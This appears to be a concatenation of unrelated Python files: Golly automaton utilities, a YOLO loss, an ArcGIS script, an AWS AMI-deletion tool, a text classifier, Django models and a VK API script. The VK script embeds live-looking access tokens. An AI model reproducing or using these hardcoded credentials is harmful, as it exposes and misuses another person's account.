random.shuffle(neighbors)
for neighbor, neighbor_idx_x, neighbor_idx_y in neighbors:
if isinstance(neighbor, Space):
if neighbor_idx_x < idx_x:
direction = LEFT
elif neighbor_idx_y < idx_y:
direction = UP
elif neighbor_idx_x > idx_x:
direction = RIGHT
elif neighbor_idx_y > idx_y:
direction = DOWN
return {
'marker': card.target,
'direction': direction,
'new_tile': tile
}
return None
class WebPlayer(Player):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.receiver = asyncio.Future()
def parse_extra(self, extra):
if 'target_tile' in extra:
if extra['target_tile'].get('color'):
extra['target_tile'] = Tile(**extra['target_tile'])
else:
extra['target_tile'] = Marker(**extra['target_tile'])
if 'new_tile' in extra:
extra['new_tile'] = Tile(**extra['new_tile'])
if 'marker' in extra:
extra['marker'] = Marker(extra['marker'])
return extra
async def plan_action(self):
await asyncio.wait([self.receiver])
move = self.receiver.result()
if move['cardTarget'].get('color'):
target = Tile(**move['cardTarget'])
else:
target = Marker(**move['cardTarget'])
for card in self.hand:
if card.target == target:
break
self.receiver = asyncio.Future()
return self, move['kind'], card, self.parse_extra(move['extra'])
async def received_move(self, move):
while self.receiver.done():
await asyncio.sleep(0.1)
self.receiver.set_result(move)
|
10,051 | 0800efa769fe02f81a763a9bf67ec0286fb76653 | # sss.py
# Commonly used routines to analyse small patterns in isotropic 2-state rules
# Includes giveRLE.py, originally by Nathaniel Johnston
# Includes code from get_all_iso_rules.py, originally by Nathaniel Johnston and Peter Naszvadi
# by Arie Paap, Oct 2017
import itertools
import math
import golly as g
try:
# Avoid xrange argument overflowing type C long on Python2
if xrange(1):
xrange = lambda stop: iter(itertools.count().next, stop)
except NameError:
xrange = range
# Interpret a pattern in sss format
# Return a tuple with corresponding fields
# Format: (minpop, 'rulestr', dx, dy, period, 'shiprle')
def parseshipstr(shipstr):
if (not shipstr) or (not shipstr[0] in '123456789'):
return
ship = shipstr.split(', ')
if not len(ship) == 6:
return
ship[0] = int(ship[0])
ship[1] = ship[1].strip()
ship[2] = int(ship[2])
ship[3] = int(ship[3])
ship[4] = int(ship[4])
ship[5] = ship[5].strip()
return tuple(ship)
# Determine the minimum population, displacement and period of a spaceship
# Input ship is given by an rle string and a separate rule string. If either
# string is empty then use the current pattern / rule (respectively).
# Clears the current layer and leaves the ship in the layer, in a minimum
# population phase which has minimum bounding box area.
# XXX True displacement returned - consider returning 5S canonical displacement.
# XXX Might be better to shift choice of phase to canon5Sship() which also sets
# the minimum isotropic rule and adjusts orientation to 5S project standard.
# XXX Only works in rules with 2 states.
# --------------------------------------------------------------------
def testShip(rlepatt, rule, maxgen = 2000):
# Clear the layer and place the ship
r = g.getrect()
if rlepatt:
patt = g.parse(rlepatt)
# If rlepatt is in a multistate representation then patt will be
# a multistate cell list. testShip() only works for ships in two
# state rules, so convert to two state cell list.
if (len(patt)%2):
# This assumes all cells have non-zero state - which is reasonable
# for the results of g.parse()
patt = [ patt[i] for j, i in enumerate(patt[:-1]) if (j+1)%3 ]
else:
# Use the current pattern
if not r:
return (0, tuple())
patt = g.getcells(r)
patt = g.transform(patt, -r[0], -r[1])
# g.note(str((rlepatt, rule)))
if r:
g.select(r)
g.clear(0)
g.putcells(patt)
# g.note(str(len(patt)) + ", " + str(patt))
# rlepatt might be different to the rle representation determined by
# giveRLE(), so ensure we have the correct representation
testrle = giveRLE(patt)
if rule:
g.setrule(rule)
speed = ()
startpop = int(g.getpop())
bbox = g.getrect()
minpop = startpop
minbboxarea = bbox[2]*bbox[3]
mingen = 0
# Keep track of the total bbox
maxx = bbox[2]
maxy = bbox[3]
maxpop = startpop
# Ignore ship if rule is not a 2-state rule
if not g.numstates()==2:
return (minpop, speed)
for ii in xrange(maxgen):
g.run(1)
r = g.getrect()
if not r:
# Pattern has died out and is therefore not a ship
mingen = 0
break
pop = int(g.getpop())
bboxarea = r[2]*r[3]
if pop < minpop:
# Find phase with minimimum population
minpop = pop
minbboxarea = r[2]*r[3]
mingen = ii+1
elif pop == minpop:
# Amongst phases with min pop, find one with minimum bbox area
# bboxarea = r[2]*r[3]
if bboxarea < minbboxarea:
minbboxarea = bboxarea
mingen = ii+1
# Track the bounding box of the pattern's evolution
maxx = max(maxx, r[2])
maxy = max(maxy, r[3])
maxpop = max(maxpop, pop)
if (pop == startpop and r[2:4] == bbox[2:4]):
if (giveRLE(g.getcells(r)) == testrle):
# Starting ship has reappeared
speed = (r[0]-bbox[0], r[1]-bbox[1], ii+1) # displacement and period
break
# Check for rotated pattern
elif (pop == startpop and r[2:4] == bbox[3:1:-1]):
# For 2-cell oscillators this is sufficient
if minpop == 2:
speed = (0, 0, 2*(ii+1))
mingen = ii+1
break
g.run(mingen) # Evolve ship to generation with minimum population
# return (minpop, speed)
# return (minpop, speed, maxpop)
return (minpop, speed, maxx*maxy)
# --------------------------------------------------------------------
# Return the minimum and maximum of the absolute value of a list of numbers
def minmaxofabs(v):
v = [abs(x) for x in v]
return min(v), max(v)
# Define a sign function
sign = lambda x: int(math.copysign(1, x))
# Find the canonical pattern for a sss format ship
# This is determined by orienting the ship so that it travels E, SE, or ESE,
# setting the rule to the minimal isotropic rule which supports the ship, and
# choosing a minimal bounding box phase from all phases with minimal population
# Input ship is in sss format: (minpop, 'rulestr', dx, dy, period, 'shiprle')
# XXX Two cases where the resulting pattern is not guaranteed to be canonical:
# - asymmetrical ships travelling orthogonally or diagonally (either one of
# the two orientations in the canonical direction may be returned)
# - multiple phases having the minimal population and bounding box area
def canon5Sship(ship, maxgen=2000):
minpop, rulestr, dx, dy, period, shiprle = ship
shipPatt = g.parse(shiprle)
# Transform ship to canonical direction
if abs(dx) >= abs(dy):
a, b, c, d = sign(dx), 0, 0, sign(dy)
else:
a, b, c, d = 0, sign(dy), sign(dx), 0
dy, dx = minmaxofabs((dx, dy))
shipPatt = g.transform(shipPatt, 0, 0, a, b, c, d)
# Clear the layer and place the ship
r = g.getrect()
if r:
g.select(r)
g.clear(0)
g.putcells(shipPatt)
shiprle = giveRLE(g.getcells(g.getrect()))
g.setrule(rulestr)
# Determine the minimal isotropic rule
setminisorule(period)
return minpop, g.getrule(), dx, dy, period, shiprle
# Python function to convert a cell list to RLE
# Author: Nathaniel Johnston (nathaniel@nathanieljohnston.com), June 2009.
# DMG: Refactored slightly so that the function input is a simple cell list.
# No error checking added.
# TBD: check for multistate rule, show appropriate warning.
# AJP: Replace g.evolve(clist,0) with Python sort (faster for small patterns)
# --------------------------------------------------------------------
def chunks(l, n):
for i in range(0, len(l), n):
yield l[i:i+n]
def giveRLE(clist):
# clist_chunks = list (chunks (g.evolve(clist,0), 2))
clist_chunks = list(chunks(clist, 2))
clist_chunks.sort(key=lambda l:(l[1], l[0]))
mcc = min(clist_chunks)
rl_list = [[x[0]-mcc[0],x[1]-mcc[1]] for x in clist_chunks]
rle_res = ""
rle_len = 1
rl_y = rl_list[0][1] - 1
rl_x = 0
for rl_i in rl_list:
if rl_i[1] == rl_y:
if rl_i[0] == rl_x + 1:
rle_len += 1
else:
if rle_len == 1: rle_strA = ""
else: rle_strA = str (rle_len)
if rl_i[0] - rl_x - 1 == 1: rle_strB = ""
else: rle_strB = str (rl_i[0] - rl_x - 1)
rle_res = rle_res + rle_strA + "o" + rle_strB + "b"
rle_len = 1
else:
if rle_len == 1: rle_strA = ""
else: rle_strA = str (rle_len)
if rl_i[1] - rl_y == 1: rle_strB = ""
else: rle_strB = str (rl_i[1] - rl_y)
if rl_i[0] == 1: rle_strC = "b"
elif rl_i[0] == 0: rle_strC = ""
else: rle_strC = str (rl_i[0]) + "b"
rle_res = rle_res + rle_strA + "o" + rle_strB + "$" + rle_strC
rle_len = 1
rl_x = rl_i[0]
rl_y = rl_i[1]
if rle_len == 1: rle_strA = ""
else: rle_strA = str (rle_len)
rle_res = rle_res[2:] + rle_strA + "o"
return rle_res+"!"
# --------------------------------------------------------------------
# Isotropic rule range functions
# Based on the rule computation scripts by Nathaniel Johnston and Peter Naszvadi
# Functions:
# - parseTransitions:
# Interpret the totalistic and isotropic rule elements as a list of isotropic transitions
# - rulestringopt:
# Cleanup a rulestring. Only used when rulestring will be displayed
# - getRuleRangeElems:
# Determines the minimum and maximum isotropic rules in which a pattern's
# evolution remains unchanged for a given number of generations.
# Returns the required and allowed isotropic rule transitions in four lists.
# Optionally compute only the minimum or the maximum rule.
# --------------------------------------------------------------------
Hensel = [
['0'],
['1c', '1e'],
['2a', '2c', '2e', '2i', '2k', '2n'],
['3a', '3c', '3e', '3i', '3j', '3k', '3n', '3q', '3r', '3y'],
['4a', '4c', '4e', '4i', '4j', '4k', '4n', '4q', '4r', '4t', '4w', '4y', '4z'],
['5a', '5c', '5e', '5i', '5j', '5k', '5n', '5q', '5r', '5y'],
['6a', '6c', '6e', '6i', '6k', '6n'],
['7c', '7e'],
['8']
]
def parseTransitions(ruleTrans):
ruleElem = []
if not ruleTrans:
return ruleElem
context = ruleTrans[0]
bNonTot = False
bNegate = False
for ch in ruleTrans[1:] + '9':
if ch in '0123456789':
if not bNonTot:
ruleElem += Hensel[int(context)]
context = ch
bNonTot = False
bNegate = False
elif ch == '-':
bNegate = True
ruleElem += Hensel[int(context)]
else:
bNonTot = True
if bNegate:
ruleElem.remove(context + ch)
else:
ruleElem.append(context + ch)
return ruleElem
def rulestringopt(a):
result = ''
context = ''
lastnum = ''
lastcontext = ''
for i in a:
if i in 'BS':
context = i
result += i
elif i in '012345678':
if (i == lastnum) and (lastcontext == context):
pass
else:
lastcontext = context
lastnum = i
result += i
else:
result += i
result = result.replace('4aceijknqrtwyz', '4')
result = result.replace('3aceijknqry', '3')
result = result.replace('5aceijknqry', '5')
result = result.replace('2aceikn', '2')
result = result.replace('6aceikn', '6')
result = result.replace('1ce', '1')
result = result.replace('7ce', '7')
return result
def getRuleRangeElems(period, ruleRange = 'minmax'):
if g.empty():
return
if period < 1:
return
rule = g.getrule().split(':')[0]
if not (rule[0] == 'B' and '/S' in rule):
g.exit('Please set Golly to an isotropic 2-state rule.')
# Parse rule string to list of transitions for Birth and Survival
oldrule = rule
Bstr, Sstr = rule.split('/')
Bstr = Bstr.lstrip('B')
Sstr = Sstr.lstrip('S')
b_need = parseTransitions(Bstr)
b_OK = list(b_need)
s_need = parseTransitions(Sstr)
s_OK = list(s_need)
patt = g.getcells(g.getrect())
# Record behavior of pattern in current rule
clist = []
poplist = []
for i in range(0,period):
g.run(1)
clist.append(g.getcells(g.getrect()))
poplist.append(g.getpop())
finalpop = g.getpop()
if 'min' in ruleRange:
# Test all rule transitions to determine if they are required
for t in b_OK:
b_need.remove(t)
g.setrule('B' + ''.join(b_need) + '/S' + Sstr)
r = g.getrect()
if r:
g.select(r)
g.clear(0)
g.putcells(patt)
for j in range(0, period):
g.run(1)
try:
if not(clist[j] == g.getcells(g.getrect())):
b_need.append(t)
break
except:
b_need.append(t)
break
b_need.sort()
for t in s_OK:
s_need.remove(t)
g.setrule('B' + Bstr + '/S' + ''.join(s_need))
r = g.getrect()
if r:
g.select(r)
g.clear(0)
g.putcells(patt)
for j in range(0, period):
g.run(1)
try:
if not(clist[j] == g.getcells(g.getrect())):
s_need.append(t)
break
except:
s_need.append(t)
break
s_need.sort()
if 'max' in ruleRange:
# Test unused rule transitions to determine if they are allowed
allRuleElem = [t for l in Hensel for t in l]
for t in allRuleElem:
if t in b_OK:
continue
b_OK.append(t)
g.setrule('B' + ''.join(b_OK) + '/S' + Sstr)
r = g.getrect()
if r:
g.select(r)
g.clear(0)
g.putcells(patt)
for j in range(0, period):
g.run(1)
try:
if not(clist[j] == g.getcells(g.getrect())):
b_OK.remove(t)
break
except:
b_OK.remove(t)
break
b_OK.sort()
for t in allRuleElem:
if t in s_OK:
continue
s_OK.append(t)
g.setrule('B' + Bstr + '/S' + ''.join(s_OK))
r = g.getrect()
if r:
g.select(r)
g.clear(0)
g.putcells(patt)
for j in range(0, period):
g.run(1)
try:
if not(clist[j] == g.getcells(g.getrect())):
s_OK.remove(t)
break
except:
s_OK.remove(t)
break
s_OK.sort()
r = g.getrect()
if r:
g.select(r)
g.clear(0)
g.putcells(patt)
g.setrule(oldrule)
return b_need, s_need, b_OK, s_OK
def setminisorule(period):
if g.empty():
return
if period < 1:
return
b_need, s_need, b_OK, s_OK = getRuleRangeElems(period, ruleRange = 'min')
minrulestr = 'B' + ''.join(sorted(b_need)) + '/S' + ''.join(sorted(s_need))
g.setrule(minrulestr)
return minrulestr
# --------------------------------------------------------------------
# Generator for random order rule iterator over a given rulespace
# Uses a linear congruential generator to iterate over all the rules
# in the given rulespace in a pseudo random order
# The rule space is specified by four lists:
# B_need - the required Birth transitions
# S_need - the required Survival transitions
# B_OK - the optional Birth transitions
# S_OK - the optional Survival transitions
# Provide a value to seed to specify the starting point of the generator
# seed < 2^(len(B_OK) + len(S_OK))
# --------------------------------------------------------------------
def iterRuleStr(B_OK, S_OK, B_need=[], S_need=[], seed=1):
# Pseudo-random rule index generator using an LCG
def randRuleIdx(nB_OK, nS_OK, seed=1):
# LCG state initialisation
m = 2**(nB_OK + nS_OK)
c = 7
a = 5
# Reduce collisions for small seed values
for _ in range(3):
seed = (a*seed+c) % m
# Masks for birth and survival transitions
maskS = 2**nS_OK - 1
maskB = (2**nB_OK - 1) << nS_OK
for ii in xrange(m):
seed = (a*seed+c) % m
randS = seed & maskS
randB = (seed & maskB) >> nS_OK
yield (randB, randS)
# Transition String retrieval
def getTransStr(tList, idx):
trans = ''
for t in tList:
if (idx & 1):
trans += t
idx = idx >> 1
return trans
Bstr = 'B' + ''.join(B_need)
Sstr = '/S' + ''.join(S_need)
for (Bidx, Sidx) in randRuleIdx(len(B_OK), len(S_OK), seed):
rulestr = Bstr + getTransStr(B_OK, Bidx) + Sstr + getTransStr(S_OK, Sidx)
yield rulestr
# --------------------------------------------------------------------
|
10,052 | 5c57f46700b0113b534f2f10b14b9869f69bd6db | #!/usr/bin/python2.5
#
# Copyright 2009 the Melange authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Module with rights related methods.
"""
__authors__ = [
'"Sverre Rabbelier" <sverre@rabbelier.nl>',
]
from soc.logic import dicts
class Checker(object):
"""Checker class that maps from prefix and status to membership.
"""
SITE_MEMBERSHIP = {
'admin': [],
'restricted': ['host'],
'member': ['user'],
'list': ['host'],
}
CLUB_MEMBERSHIP = {
'admin': ['host', 'club_admin'],
'restricted': ['host', 'club_admin'],
'member': ['host', 'club_admin', 'club_member'],
'list': ['host', 'club_admin', 'club_member'],
}
SPONSOR_MEMBERSHIP = {
'admin': ['host'],
'restricted': ['host'],
'member': ['host'],
'list': ['host'],
}
PROGRAM_MEMBERSHIP = {
'admin': ['host'],
'restricted': ['host', 'org_admin'],
'member': ['host', 'org_admin', 'org_mentor', 'org_student'],
'list': ['host', 'org_admin', 'org_mentor'],
}
ORGANIZATION_MEMBERSHIP = {
'admin': ['host', 'org_admin'],
'restricted': ['host', 'org_admin', 'org_mentor'],
'member': ['host', 'org_admin', 'org_mentor', 'org_student'],
'list': ['host', 'org_admin', 'org_mentor'],
}
USER_MEMBERSHIP = {
'admin': ['user_self'],
'restricted': ['user_self'], # ,'friends'
'member': ['user'],
'list': ['user_self'],
}
RIGHTS = {
'site': SITE_MEMBERSHIP,
'club': CLUB_MEMBERSHIP,
'sponsor': SPONSOR_MEMBERSHIP,
'program': PROGRAM_MEMBERSHIP,
'org': ORGANIZATION_MEMBERSHIP,
'user': USER_MEMBERSHIP,
}
def __init__(self, prefix):
"""Constructs a Checker for the specified prefix.
"""
self.prefix = prefix
self.rights = self.RIGHTS[prefix]
def getMembership(self, status):
"""Retrieves the membership list for the specified status.
"""
if status == 'user':
return ['user']
if status == 'public':
return ['anyone']
return self.rights[status]
def getMemberships(self):
"""Returns all memberships for the configured prefix.
"""
extra_rights = {
'user': ['user'],
'public': ['anyone'],
'list': [],
}
return dicts.merge(extra_rights, self.rights)
|
10,053 | bbe82eecff9faa9fb5c9803592b7622c74e56715 | # ---------------------------------------------------------------------------
# SBDD_FRQ_uniques.py
# Created on: May 16, 2011
# Created by: Michael Byrne
# Federal Communications Commission
# creates the individual layers necessary for the
# National Broadband Map from the source file geodatabases
# requires one State submission at a time
# ---------------------------------------------------------------------------
# Import system modules
import arcpy
from arcpy import env
import sys, string, os, math
#write out global variables
thePGDB = "C:/Users/michael.byrne/Processing.gdb" #processing file geodatabase
arcpy.env.workspace = thePGDB
theLocation = "C:/Users/NBMSource/Fall2011/"
theLocation = "C:/Users/michael.byrne/NBMSource/Fall2011/"
theYear = "2011"
theMonth = "10"
theDay = "01"
States = ["AK","AL","AR","AS","AZ","CA","CO","CT"] #1
States = States + ["DC","DE","FL","GA","GU","HI","IA","ID"] #2
States = States + ["IL","IN","KS","KY","LA","MA","MD","ME"] #3
States = States + ["MI","MN","MO","MP","MS","MT","NC","ND"] #4
States = States + ["NE","NH","NJ","NM","NV","NY","OH","OK"] #5
States = States + ["OR","PA","PR","RI","SC","SD","TN","TX"] #6
States = States + ["UT","VA","VI","WA","WI","WV","WY"] #7"VT",
##write out functions
##Function sbdd_ExportToShape exports the created layers to shapefiles in appropriate directories
def sbdd_FRQ (theFD, theFC):
arcpy.AddMessage(" Begining " + theFC + " Processing")
myTbls = [theFC + "_frq", theFC + "_" + theST + "_frq"]
for myTbl in myTbls:
if arcpy.Exists(myTbl):
arcpy.Delete_management(myTbl)
del myTbl, myTbls
theFields = ["FRN","PROVNAME","DBANAME","TRANSTECH","MAXADDOWN","MAXADUP","TYPICDOWN","TYPICUP"] #,"SPECTRUM"]
theSTexp = "'" + theST + "'"
if int(arcpy.GetCount_management(theFD + "/" + theFC).getOutput(0)) > 1:
arcpy.Frequency_analysis(theFD + "/" + theFC, theFC + "_frq", theFields, "")
arcpy.AddField_management(theFC + "_frq", "State", "TEXT", "", "", 2)
arcpy.CalculateField_management(theFC + "_frq", "State", theSTexp, "PYTHON")
arcpy.Rename_management(theFC + "_frq", theFC + "_" + theST + "_frq")
del theSTexp, theFields
return ()
#*******************************************************************************************************
##################Main Code below
#*******************************************************************************************************
try:
for theST in States:
arcpy.AddMessage("the state is: " + theST)
theFCs = ["BB_Service_Address","BB_Service_CensusBlock","BB_Service_RoadSegment","BB_Service_Wireless"]
for theFC in theFCs:
theFD = theLocation + theST + "/" + theST + "_SBDD_" + theYear + "_"
theFD = theFD + theMonth + "_" + theDay + ".gdb/NATL_Broadband_Map/"
sbdd_FRQ(theFD, theFC)
del theFD, theST, States, thePGDB, theFCs, theFC
except:
arcpy.AddMessage("Something bad happened")
|
10,054 | bcc6664d3c1d4703e377a0854dbd088bb2ba929d | import numpy as np
import tensorflow as tf
from utils.bbox import bbox_giou, bbox_iou
from common.constants import YOLO_STRIDES, YOLO_IOU_LOSS_THRESHOLD
def compute_loss(pred, conv, label, bboxes, i=0, num_classes=80):
conv_shape = tf.shape(conv)
batch_size = conv_shape[0]
output_size = conv_shape[1]
input_size = YOLO_STRIDES[i] * output_size
conv = tf.reshape(conv, (batch_size, output_size, output_size, 3, 5 + num_classes))
conv_raw_conf = conv[:, :, :, :, 4:5]
conv_raw_prob = conv[:, :, :, :, 5:]
pred_xywh = pred[:, :, :, :, 0:4]
pred_conf = pred[:, :, :, :, 4:5]
label_xywh = label[:, :, :, :, 0:4]
respond_bbox = label[:, :, :, :, 4:5]
label_prob = label[:, :, :, :, 5:]
giou = tf.expand_dims(bbox_giou(pred_xywh, label_xywh), axis=-1)
input_size = tf.cast(input_size, tf.float32)
bbox_loss_scale = 2.0 - 1.0 * label_xywh[:, :, :, :, 2:3] * label_xywh[:, :, :, :, 3:4] / (input_size ** 2)
giou_loss = respond_bbox * bbox_loss_scale * (1 - giou)
iou = bbox_iou(pred_xywh[:, :, :, :, np.newaxis, :], bboxes[:, np.newaxis, np.newaxis, np.newaxis, :, :])
# Find the value of IoU with the real box The largest prediction box
max_iou = tf.expand_dims(tf.reduce_max(iou, axis=-1), axis=-1)
# If the largest iou is less than the threshold, it is considered that the prediction box contains no objects, then the background box
respond_bgd = (1.0 - respond_bbox) * tf.cast(max_iou < YOLO_IOU_LOSS_THRESHOLD, tf.float32)
conf_focal = tf.pow(respond_bbox - pred_conf, 2)
# Calculate the loss of confidence
# we hope that if the grid contains objects, then the network output prediction box has a confidence of 1 and 0 when there is no object.
conf_loss = conf_focal * (
respond_bbox * tf.nn.sigmoid_cross_entropy_with_logits(labels=respond_bbox, logits=conv_raw_conf)
+
respond_bgd * tf.nn.sigmoid_cross_entropy_with_logits(labels=respond_bbox, logits=conv_raw_conf)
)
prob_loss = respond_bbox * tf.nn.sigmoid_cross_entropy_with_logits(labels=label_prob, logits=conv_raw_prob)
giou_loss = tf.reduce_mean(tf.reduce_sum(giou_loss, axis=[1, 2, 3, 4]))
conf_loss = tf.reduce_mean(tf.reduce_sum(conf_loss, axis=[1, 2, 3, 4]))
prob_loss = tf.reduce_mean(tf.reduce_sum(prob_loss, axis=[1, 2, 3, 4]))
return giou_loss, conf_loss, prob_loss
|
10,055 | 77b2799a84da7e2f230bd62b0e5f911289d840b7 | import requests as r
from datetime import datetime
def add_to_list(res_list, age):
found = False
for cort in res_list:
if cort[0] == age:
cort[1] += 1
found = True
break
if not found:
res_list.append([age, 1])
def parce_friends(res_json):
res_list = []
for i in range(res_json['response']['count']):
if 'bdate' in res_json['response']['items'][i]:
bdate = res_json['response']['items'][i]['bdate']
if len(bdate) > 5:
dot_pos = bdate.rfind('.')
byear = int(bdate[dot_pos + 1:])
age = datetime.now().year - byear
add_to_list(res_list, age)
return res_list
def sort_list(res_list):
res_list.sort(key=lambda pair: pair[0])
res_list.sort(key=lambda pair: pair[1], reverse=True)
def convert_list(res_list):
new_list = []
for pair in res_list:
new_list.append((pair[0], pair[1]))
return new_list
def calc_age(uid):
# access_token = 4a3358b3f7b982989454757c924cc54ae8070eb1b40488cad710b320daa5a8c62fdcfde23ca1921feb58a
user_params = {'v': 5.126,
'user_ids': uid,
'access_token': 'd9acf98cd9acf98cd9acf98c96d9de6273dd9acd9acf98c874aa57b9b6642522b5a44e4'}
res = r.get('https://api.vk.com/method/users.get', params=user_params)
uid = res.json()['response'][0]['id']
friends_params = {'v': 5.126,
'user_id': uid,
'access_token': 'd9acf98cd9acf98cd9acf98c96d9de6273dd9acd9acf98c874aa57b9b6642522b5a44e4',
'fields': 'bdate'}
res = r.get('https://api.vk.com/method/friends.get', params=friends_params)
res_list = parce_friends(res.json())
sort_list(res_list)
res_list = convert_list(res_list)
return res_list
if __name__ == '__main__':
res = calc_age('reigning')
print(res)
|
10,056 | 8b47a5fbf4e5d06b22efccf1aad465d7c2a3228a | import sys
import os
import pandas as pd
import numpy as np
import pickle
from sqlalchemy import create_engine
from nltk.tokenize import word_tokenize
from nltk.stem import WordNetLemmatizer
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.pipeline import Pipeline, FeatureUnion
from sklearn.metrics import classification_report
from sklearn.model_selection import GridSearchCV
def load_data(database_filepath):
"""
Loading data form database
Parameters:
database_filepath(str): the file path of database file
Output:
X(array): message
Y(ndarray): categories
category_names(list): category names
"""
path=os.path.abspath( database_filepath )
engine = create_engine('sqlite:///'+path)
df = pd.read_sql_table("DisasterResponse",engine)
X = df.message.values
Y = df.iloc[:,4:].values
category_names=df.iloc[:,4:].columns
return X,Y,category_names
def tokenize(text):
"""
Tokenize text into words
Parameters:
text(str): a text to be tokenized
Output:
clear_tokens(list): a list of words
"""
tokens = word_tokenize(text)
lemmatizer = WordNetLemmatizer()
clean_tokens = []
for tok in tokens:
clean_tok = lemmatizer.lemmatize(tok).lower().strip()
clean_tokens.append(clean_tok)
return clean_tokens
def build_model():
"""
Building a gridsearch model
Parameters:
None
Outputs:
cv(gridseachcv object): a model of gridsearch
"""
pipeline = Pipeline([
('vect', CountVectorizer(tokenizer=tokenize)),
('tfidf', TfidfTransformer()),
('clf', RandomForestClassifier())
])
parameters = {
'vect__ngram_range': ((1, 2),),
'vect__max_df': (0.5, ),
'vect__max_features': ( 5000, ),
'tfidf__use_idf': (False,),
'clf__n_estimators': [100, ],
'clf__min_samples_split': [2,],
}
cv = GridSearchCV(pipeline, param_grid=parameters)
return cv
def evaluate_model(model, X_test, Y_test, category_names):
'''
evaluate the model, and print the accuracy report of each category
Parameters:
model: the gridseach model
X_test(2darray): X testing data
Y_test(2darray): Y testing data
category_names(list): name list of all categories
'''
y_pred = model.predict(X_test)
for i,name in enumerate(category_names):
print(name)
print(classification_report(Y_test[:,i], y_pred[:,i]))
def save_model(model, model_filepath):
"""
save the trained model into pickle file
Parameter:
model: the trained model
model_filepath(str): the path of the pickle file which is going to be saved
"""
with open(model_filepath, 'wb') as f:
pickle.dump(model, f)
def main():
if len(sys.argv) == 3:
database_filepath, model_filepath = sys.argv[1:]
print('Loading data...\n DATABASE: {}'.format(database_filepath))
X, Y, category_names = load_data(database_filepath)
X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)
print('Building model...')
model = build_model()
print('Training model...')
model.fit(X_train, Y_train)
print('Evaluating model...')
evaluate_model(model, X_test, Y_test, category_names)
print('Saving model...\n MODEL: {}'.format(model_filepath))
save_model(model, model_filepath)
print('Trained model saved!')
else:
print('Please provide the filepath of the disaster messages database '\
'as the first argument and the filepath of the pickle file to '\
'save the model to as the second argument. \n\nExample: python '\
'train_classifier.py ../data/DisasterResponse.db classifier.pkl')
if __name__ == '__main__':
main() |
10,057 | 5c762d880b987708d2b4219812b363d11f7e2069 | import authenticate
import sys
error_ids = []
testing = True
# process cmd-line args
def process_cmd_args():
if len(sys.argv) == 1:
print("No AMI's specified. Exiting...")
exit(1)
amis = []
for i in range(1, len(sys.argv)):
amis.append(sys.argv[i])
return amis
# get_snapshot_for_amis
def get_snapshots_for_amis(ec2_client, ami_list):
try:
images_field="Images"
device_array_field="BlockDeviceMappings"
ebs_field="Ebs"
snapshot_id_field="SnapshotId"
snapshots = []
response = ec2_client.describe_images(ImageIds=ami_list, ExecutableUsers=[], DryRun=False)
for i in range(0, len(response[images_field])):
for i2 in range(0, len(response[images_field][i][device_array_field])):
snapshots.append(response[images_field][i][device_array_field][i2][ebs_field][snapshot_id_field])
return snapshots
except Exception as e:
print("Could not get snapshots for ami list.\nError: " + str(e))
exit(1)
#confirm option
def confirm(type):
user_input = "Escape"
while user_input != "Y" and user_input != "N":
user_input =input("Are you sure you want to delete all " + type + "? This action is irreversible (Y/N)")
user_input = user_input.upper()
if user_input == "N":
print("Exiting...")
exit()
# error output
def output_errors():
print("\nNumber of errors: " + str(len(error_ids)))
if len(error_ids) > 0:
print("These Ids could have failed when getting snapshots, deleting the amis, or deleting the snapshots.")
print("The full list of IDs follows:\n"+"\n".join(error_ids))
#delete images
def delete_images(ec2_client, ami_list):
if testing:
return
for i in range(0, len(ami_list)):
try:
ec2_client.deregister_image(ImageID=ami_list[i], DryRun=False)
except Exception as e:
print("Error deleting image " + ami_list[i] + ".\nError: " + str(e))
error_ids.append("Error deleting AMI: " + ami_lisy[i])
#delete snapshots
def delete_snapshots(ec2_client, snapshots_list):
if testing:
return
for i in range(0, len(snapshots_list)):
try:
ec2_client.delete_snapshot(SnapshotId=snapshots_list[i], DryRun=False)
except Exception as e:
print("Error deleting snapshot " + snapshots_list[i] + ".\nError: " + str(e))
error_ids.append("Error deleting snapshot: " + snapshots_list[i])
# main method
if __name__=="__main__":
# read in ami id from cmd line
ami_list = process_cmd_args()
#connect to ec2
ec2_client = authenticate.connect_ec2()
# get snapshots of amis
print("Getting snapshots for AMIs")
snapshots_list = get_snapshots_for_amis(ec2_client, ami_list)
# delete ami
confirm("AMIs")
delete_images(ec2_client, ami_list)
# delete snapshots
confirm("snapshots")
delete_snapshots(ec2_client, snapshots_list)
output_errors()
|
10,058 | 16aaf78ebb99b9ff17f46f8ab2e7f9176df59cf4 | from django.db import models
from datetime import *
from django.urls import reverse
from django.utils import timezone
from django.core.validators import RegexValidator
#Choices
DAYS_OF_WEEK = (
('Monday', 'Monday'),
('Tuesday', 'Tuesday'),
('Wednesday', 'Wednesday'),
('Thursday', 'Thursday'),
('Friday', 'Friday'),
('Saturday', 'Saturday'),
('Sunday', 'Sunday'),
)
BELT_COLOR = (
('White', 'White'),
('Yellow', 'Yellow'),
('Yellow Black', 'Yellow Black'),
('Green', 'Green'),
('Green Black', 'Green Black'),
('Purple', 'Purple'),
('Purple Black', 'Purple Black'),
('Orange', 'Orange'),
('Orange Black', 'Orange Black'),
('Blue', 'Blue'),
('Blue Black', 'Blue Black'),
('Brown', 'Brown'),
('Brown Black', 'Brown Black'),
('Red', 'Red'),
('Red Black', 'Red Black'),
('Black', 'Black')
)
RELATION = (
('Father', 'Father'),
('Mother', 'Mother'),
('Brother', 'Brother'),
('Sister', 'Sister'),
('Friend', 'Friend'),
)
#Global Constants
phone_regex = RegexValidator(
regex=r'^\+?1?\d{9,15}$',
message="Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed."
)
# Create your models here.
class Batch_Levels(models.Model):
level_name = models.CharField(max_length=20)
def __str__(self):
return self.level_name
class Meta:
verbose_name = 'level'
class Instructor(models.Model):
first_name = models.CharField(max_length=100)
last_name = models.CharField(max_length=100)
street_name = models.CharField(max_length=100, default="NA")
